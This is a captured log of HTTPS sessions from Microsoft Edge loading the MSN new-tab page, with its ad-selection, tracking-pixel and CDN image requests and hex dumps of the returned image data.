2024-11-27 10:14:51 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0DAD223ED34268AD13B3377AD2436971&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cec04982df8f452fe8a952e71f4bdbb2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1
2024-11-27 10:14:51 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 10:14:50 GMT Connection: close
2024-11-27 10:14:51 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49914	20.110.205.119	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	1175	OUT	GET /c.gif?rnd=1732702487977&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c28f73b3bedc4a6ba0297141dc8ea855&activityId=c28f73b3bedc4a6ba0297141dc8ea855&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1
2024-11-27 10:14:51 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732702487977&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c28f73b3bedc4a6ba0297141dc8ea855&activityId=c28f73b3bedc4a6ba0297141dc8ea855&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B00CBD53F64D42938B07B05F829D7930&RedC=c.msn.com&MXFR=0DAD223ED34268AD13B3377AD2436971 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0DAD223ED34268AD13B3377AD2436971; domain=.msn.com; expires=Mon, 22-Dec-2025 10:14:51 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49913	108.139.47.33	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	925	OUT	GET /b?rn=1732702487977&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0DAD223ED34268AD13B3377AD2436971&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:51 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 27 Nov 2024 10:14:51 GMT Location: /b2?rn=1732702487977&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0DAD223ED34268AD13B3377AD2436971&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1456359a6fed16b37b23b161732702491; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1456359a6fed16b37b23b161732702491; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 fcf7ae9d0acd31cfede668ccef6e2ace.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: WywrMOKefONE75V2mCD5oeesffO1NjtDaHlwmZi7os8vFKi-y_EqVA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49922	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQv.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:52 UTC	520	IN	HTTP/1.1 200 OK Last-Modified: Mon, 28 Oct 2024 14:42:25 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQv X-Source-Length: 66523 X-Datacenter: northeu X-ActivityId: e3e55fba-812b-4d8b-8897-b3bf61e95141 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 66523 Cache-Control: public, max-age=189050 Expires: Fri, 29 Nov 2024 14:45:41 GMT Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close
2024-11-27 10:14:52 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 10:14:52 UTC	16384	IN	Data Raw: 92 b4 94 7b ee fe e0 1f 5a d7 e1 f9 fd 45 f2 47 3f a0 fe 29 65 f5 3b e3 b3 cd 3f d4 ab 34 97 89 76 df 59 b9 3c 74 c7 4b 5e eb b6 ef bf 90 dc e2 88 5b 72 7c 1d fb 26 af 13 85 1e ae 52 6d 61 6b 86 28 af f3 2e 4e a9 a7 e2 b0 f3 b0 c7 1c c7 f1 4f 23 d0 ea f1 26 b5 cc f3 5f 98 dc 72 6a 31 4e bc be e3 57 ad 6d 5e 17 c9 bf a5 83 9c 17 71 2d a9 be c7 77 50 f5 1e 63 f3 33 ab d2 bc 29 df cc b1 6f c9 ab ac 3b f2 ef 45 62 8e 64 fc 72 c8 f4 5e b1 2e 28 17 bd 15 c4 f3 8f 7e 49 aa 85 ae 7e 1f 22 df 5c b8 2b 0c 50 cc 5f 1c f2 3b 6f a8 e4 bc ca bd 74 f9 9c 77 bd 2c 29 2e df e6 48 ee cb 8b ae 58 26 56 38 87 c7 2b 3a 56 e5 9b 6c 87 37 d6 c9 5e 37 d8 91 6e b9 35 9a 5d e1 f2 20 f8 65 d0 e8 a9 4b 9b f3 16 b9 3c db f3 30 7a de 19 bf 00 e3 b9 29 7e d4 bb 6f e5 80 63 88 7c 52 e8 Data Ascii: {ZEG?)e;?4vY<tK^[r\|&Rmak(.NO#&_rj1NWm^q-wPc3)o;Ebdr^.(~I~"\+P_;otw,).HX&V8+:Vl7^7n5] eK<0z)~oc\|R
2024-11-27 10:14:52 UTC	1699	IN	Data Raw: 54 12 8b 8d 24 ab 87 f3 3a 1a 95 60 82 7c d6 af dc 22 55 29 6e b6 b4 e9 8c 78 f1 7d 86 8e 18 b3 1c e5 b9 fb 74 2e fb 62 4b 57 a4 db f9 21 55 a5 c2 f0 e4 3c cd 0a 7b 7a 9a 4e df 6b af b9 1a 55 23 36 dc 63 05 ee d2 2f 72 c3 e8 43 ae d7 ee 51 4e ec b7 2f dd c3 c6 fe e2 dd bd c4 d7 bc f1 38 fe be 70 9e 2e 5b 97 92 4b 25 f1 c4 eb 45 a9 66 a8 d2 51 a4 b4 5e 28 84 ee cd 9a 97 79 4b 9a 96 1e f2 f1 cb ed 12 7a 56 5f 22 9d c6 e6 bd df 71 f3 ab 32 4b 5f ea 51 b6 34 92 4a fb 5d b0 df 81 87 69 49 2f 7a 56 fb 6b ef 35 55 92 f9 00 a2 e7 c5 69 ee 95 fd 0b 3b cc 52 94 36 bc 06 b7 65 2c a3 e7 80 e9 f2 2a 2c 96 de c4 bd 28 6d 37 dd 1b c3 e6 67 7d 17 4b 2f f6 d6 3c 9c 97 b1 9a d5 f1 ab 0e eb 3a 0c 4d 70 df 99 38 56 47 29 fe 99 d3 bc bd 64 7b a5 7e d4 fb 8c df e1 31 6f ff 00 Data Ascii: T$:`\|"U)nx}t.bKW!U<{zNkU#6c/rCQN/8p.[K%EfQ^(yKzV_"q2K_Q4J]iI/zVk5Ui;R6e,*,(m7g}K/<:Mp8VG)d{~1o
2024-11-27 10:14:52 UTC	16384	IN	Data Raw: 2f d3 05 e9 4a df 9f c8 7a d7 08 be dc 09 fa fd 11 4f d9 74 ee 12 be 36 fc 2e 82 c7 82 8c 7c 73 65 77 27 c9 77 2f a8 d4 6f 83 97 cc 91 92 d7 ee 93 6f 92 fb 0b 14 9f ed 87 9e 05 9a 74 ac ab c8 cd eb f5 3a 84 45 cf 08 1e 9c ba 34 d4 de 6d 2e e5 f5 1b a5 9c 97 6b 2a 50 9c bd 29 76 2c 0b e3 b7 18 e3 5d a4 bd 3b f9 14 b5 ed e6 0e a4 f2 4d f6 7d 4b 13 7c a8 ad ee ed 47 8d f7 62 25 39 4b 28 a5 e3 2f a2 15 5f 6f 30 be be 45 be f3 e2 fb 30 06 3b 70 8e 34 bb ff 00 98 49 37 9b fb 82 d2 2b eb e4 55 74 0b 5c 23 e3 dd 88 12 dd dc 97 a3 1a f1 7f 40 94 54 73 68 7a a3 c0 9d 32 6f c4 7a e7 5e 05 2b 6e 72 f4 e6 df 86 4b e4 69 8c 12 e4 8a b5 cb 82 ae f6 06 99 cf 39 3f ed c3 ed 1e af 96 90 95 2e 15 9a 9e e6 dc 33 65 3e be 53 f4 22 d7 8c b0 fb 45 1d 98 ac 6b b4 d2 a2 96 66 6f Data Ascii: /JzOt6.\|sew'w/oot:E4m.k*P)v,];M}K\|Gb%9K(/_o0E0;p4I7+Ut\#@Tshz2oz^+nrKi9?.3e>S"Ekfo
2024-11-27 10:14:52 UTC	16192	IN	Data Raw: be c3 d2 c6 47 8d d8 7e af 79 78 e0 7a b5 85 15 bc 95 f8 91 b2 dd 78 1d 58 bc 0b 1e 4c c5 17 91 a9 4b 03 cd 68 ee 47 3b 7b 71 c5 78 fc 62 70 77 7a 87 69 5d 26 7a 5d f8 a9 57 91 e5 3a 9d 97 8f 87 b0 f4 36 30 b3 8f 7a d7 07 a9 db d3 a5 28 e5 cc d2 a2 78 ee 93 ac 7b 2f d5 cf d0 79 3e 2b ec 3d 96 dc d3 39 f7 60 e0 ff 00 a9 b6 dc 94 d7 f4 1e 8f 10 96 15 c0 d3 4a 8a 27 87 77 c6 47 2a 76 6e 04 f7 33 f8 68 e4 6f 4d 3c f1 b2 cd d9 d5 9c 77 2b 9c 13 c5 39 2b 5c ce ed bd ba 39 77 27 d8 d5 b1 b2 e7 2d 5c 23 e8 f8 b3 bc ac ae 35 54 5e bc 4c a7 2c 45 c6 34 8b 22 68 58 95 a4 13 5c 79 1c 8c dc b9 3c 71 05 b3 1c a7 4b c7 81 cd dc ea a4 ae cb 8e db 97 04 39 24 6a de f3 38 7b f0 6e d5 36 6c da df 7d 44 da 79 2c f0 c7 b8 eb a8 43 1c 17 d4 eb bf 8b 93 06 96 e7 81 87 a6 8c a1 Data Ascii: G~yxzxXLKhG;{qxbpwzi]&z]W:60z(x{/y>+=9`J'wG*vn3hoM<w+9+\9w'-\#5T^L,E4"hX\y<qK9$j8{n6l}Dy,C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49924	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:52 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=96926 Expires: Thu, 28 Nov 2024 13:10:17 GMT Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close
2024-11-27 10:14:52 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49919	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:52 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=229232 Expires: Sat, 30 Nov 2024 01:55:23 GMT Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close
2024-11-27 10:14:52 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49923	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:52 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=115050 Expires: Thu, 28 Nov 2024 18:12:21 GMT Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close
2024-11-27 10:14:52 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49921	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:52 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=313971 Expires: Sun, 01 Dec 2024 01:27:42 GMT Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close
